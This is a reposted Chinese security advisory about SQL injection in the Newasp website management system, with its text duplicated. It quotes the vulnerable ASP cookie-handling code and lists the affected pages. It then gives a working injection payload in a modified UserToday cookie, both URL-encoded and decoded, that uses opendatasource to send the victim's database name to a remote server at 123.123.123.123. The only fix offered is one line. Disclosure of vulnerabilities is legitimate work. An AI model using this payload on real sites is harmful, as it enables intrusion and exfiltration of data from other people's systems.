新云网站管理系统最新版注入漏洞
生活随笔
收集整理的這篇文章主要介紹了
新云网站管理系统最新版注入漏洞
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
受影響系統(tǒng):
新云網(wǎng)站管理系統(tǒng)最新版
發(fā)現(xiàn)人的BLOG:
http://sobiny.cn
發(fā)現(xiàn)日期:
2006年10月中旬
發(fā)布日期:
2007年6月上旬
安全綜述:
新云網(wǎng)站管理系統(tǒng)是一個采用ASP和MSSQL等其他多種數(shù)據(jù)庫生成靜態(tài)頁面構(gòu)建的高效網(wǎng)站解決方案。
漏洞描述:
先看const.asp的GetUserTodayInfo過程。
QUOTE:
Lastlogin = Request.Cookies("newasp_net")("LastTime")
UserDayInfo = Request.Cookies("newasp_net")("UserToday")
If DateDiff("d",LastLogin,Now())<>0 Then
………………
UserDayInfo = "0,0,0,0,0,0"
Response.Cookies("newasp_net")("UserToday") = UserDayInfo
end if
UserToday = Split(UserDayInfo, ",")
If Ubound(UserToday) <> 5 Then
………………
UserDayInfo = "0,0,0,0,0,0"
Response.Cookies("newasp_net")("UserToday") = UserDayInfo
end if
然后是
QUOTE:
Public Function updateUserToday(ByVal str)
On Error Resume Next
If Trim(str) <> "" Then
Newasp.Execute("update [NC_User] SET UserToday='" & str & "' where username='"& Newasp.membername &"' And userid=" & Newasp.memberid)
Response.Cookies("newasp_net")("UserToday") = str
End If
End Function
大家都能看出來。updateUserToday(ByVal str)str沒有經(jīng)過任何過濾就防進(jìn)了數(shù)據(jù)庫。
然后就是
articlepost.asp
message.asp
softpost.asp
upfile.asp
upload.asp
這幾個文件對GetUserTodayInfo和updateUserToday過程沒有驗證的直接調(diào)用,導(dǎo)致了sql注入
解決方案:
過濾UserDayInfo
測試方法:
警 告
以下程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用。使用者風(fēng)險自負(fù)!
Sobiny(Bug.Center.Team)提供了如下測試方法:
由于UserDayInfo的格式是 0,0,0,0,0,0每一個字符代表了今天使用的權(quán)限,有上傳,有短信。
而每使用一次權(quán)限,使用權(quán)限的那個一數(shù)字就會自加1。
所以在構(gòu)造語句的時候要注意。
在提交的頁面的過程中。
在當(dāng)前權(quán)限的數(shù)量上必須為數(shù)字,否則就會發(fā)生錯誤。
而且updateUserToday過程On Error Resume Next語句,已經(jīng)屏蔽了錯誤提示,所以我采用opendatasource遠(yuǎn)程數(shù)據(jù)庫寫入。
以message.asp為例
先發(fā)送一條信息抓包,然后修改cookies。
(發(fā)送信息代碼的數(shù)字為第5個。于是我們在第4個','只后,第5個','之前的字符必須為數(shù)字。)
于是我們修改如下cookies:
QUOTE:
newasp_net=UserToday=0%2c0%2c0%2c0%2c0%2c0
為
QUOTE:
newasp_net=UserToday=%27%3Binsert+into+opendatasource%28%27sqloledb%27%2C%27
server%3D123%2E123%2E123%2E123%3Buid%3Dadmin%3Bpwd%3Dadminadmin%3Bdatabase%3D
admin%27%29%2Eadmin%2Edbo%2Eku+select+db%5Fname%280%29%2D%2D%2c0%2c0%2c0%2c0
然后用NC發(fā)包
就會在遠(yuǎn)程123.123.123.123服務(wù)器上的數(shù)據(jù)庫寫入當(dāng)前的庫名。
QUOTE:
%27%3Binsert+into+opendatasource%28%27sqloledb%27%2C%27server%3D123%2E123%2E123%2E
123%3Buid%3Dadmin%3Bpwd%3Dadminadmin%3Bdatabase%3Dadmin%27%29%2Eadmin%2Edbo%2E
ku+select+db%5Fname%280%29%2D%2D%2c0%2c0%2c0%2c0
為
QUOTE:
';insert into opendatasource('sqloledb','server=123.123.123.123;uid=admin;pwd=adminadmin;database=admin').admin.dbo.ku select db_name(0)--,0,0,0,0
新云網(wǎng)站管理系統(tǒng)最新版
發(fā)現(xiàn)人的BLOG:
http://sobiny.cn
發(fā)現(xiàn)日期:
2006年10月中旬
發(fā)布日期:
2007年6月上旬
安全綜述:
新云網(wǎng)站管理系統(tǒng)是一個采用ASP和MSSQL等其他多種數(shù)據(jù)庫生成靜態(tài)頁面構(gòu)建的高效網(wǎng)站解決方案。
漏洞描述:
先看const.asp的GetUserTodayInfo過程。
QUOTE:
Lastlogin = Request.Cookies("newasp_net")("LastTime")
UserDayInfo = Request.Cookies("newasp_net")("UserToday")
If DateDiff("d",LastLogin,Now())<>0 Then
………………
UserDayInfo = "0,0,0,0,0,0"
Response.Cookies("newasp_net")("UserToday") = UserDayInfo
end if
UserToday = Split(UserDayInfo, ",")
If Ubound(UserToday) <> 5 Then
………………
UserDayInfo = "0,0,0,0,0,0"
Response.Cookies("newasp_net")("UserToday") = UserDayInfo
end if
然后是
QUOTE:
Public Function updateUserToday(ByVal str)
On Error Resume Next
If Trim(str) <> "" Then
Newasp.Execute("update [NC_User] SET UserToday='" & str & "' where username='"& Newasp.membername &"' And userid=" & Newasp.memberid)
Response.Cookies("newasp_net")("UserToday") = str
End If
End Function
大家都能看出來。updateUserToday(ByVal str)str沒有經(jīng)過任何過濾就防進(jìn)了數(shù)據(jù)庫。
然后就是
articlepost.asp
message.asp
softpost.asp
upfile.asp
upload.asp
這幾個文件對GetUserTodayInfo和updateUserToday過程沒有驗證的直接調(diào)用,導(dǎo)致了sql注入
解決方案:
過濾UserDayInfo
測試方法:
警 告
以下程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用。使用者風(fēng)險自負(fù)!
Sobiny(Bug.Center.Team)提供了如下測試方法:
由于UserDayInfo的格式是 0,0,0,0,0,0每一個字符代表了今天使用的權(quán)限,有上傳,有短信。
而每使用一次權(quán)限,使用權(quán)限的那個一數(shù)字就會自加1。
所以在構(gòu)造語句的時候要注意。
在提交的頁面的過程中。
在當(dāng)前權(quán)限的數(shù)量上必須為數(shù)字,否則就會發(fā)生錯誤。
而且updateUserToday過程On Error Resume Next語句,已經(jīng)屏蔽了錯誤提示,所以我采用opendatasource遠(yuǎn)程數(shù)據(jù)庫寫入。
以message.asp為例
先發(fā)送一條信息抓包,然后修改cookies。
(發(fā)送信息代碼的數(shù)字為第5個。于是我們在第4個','只后,第5個','之前的字符必須為數(shù)字。)
于是我們修改如下cookies:
QUOTE:
newasp_net=UserToday=0%2c0%2c0%2c0%2c0%2c0
為
QUOTE:
newasp_net=UserToday=%27%3Binsert+into+opendatasource%28%27sqloledb%27%2C%27
server%3D123%2E123%2E123%2E123%3Buid%3Dadmin%3Bpwd%3Dadminadmin%3Bdatabase%3D
admin%27%29%2Eadmin%2Edbo%2Eku+select+db%5Fname%280%29%2D%2D%2c0%2c0%2c0%2c0
然后用NC發(fā)包
就會在遠(yuǎn)程123.123.123.123服務(wù)器上的數(shù)據(jù)庫寫入當(dāng)前的庫名。
QUOTE:
%27%3Binsert+into+opendatasource%28%27sqloledb%27%2C%27server%3D123%2E123%2E123%2E
123%3Buid%3Dadmin%3Bpwd%3Dadminadmin%3Bdatabase%3Dadmin%27%29%2Eadmin%2Edbo%2E
ku+select+db%5Fname%280%29%2D%2D%2c0%2c0%2c0%2c0
為
QUOTE:
';insert into opendatasource('sqloledb','server=123.123.123.123;uid=admin;pwd=adminadmin;database=admin').admin.dbo.ku select db_name(0)--,0,0,0,0
轉(zhuǎn)載于:https://www.cnblogs.com/allyesno/archive/2007/06/11/779432.html
總結(jié)
以上是生活随笔為你收集整理的新云网站管理系统最新版注入漏洞的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: IEnumerable
- 下一篇: 利用 Enterprise Librar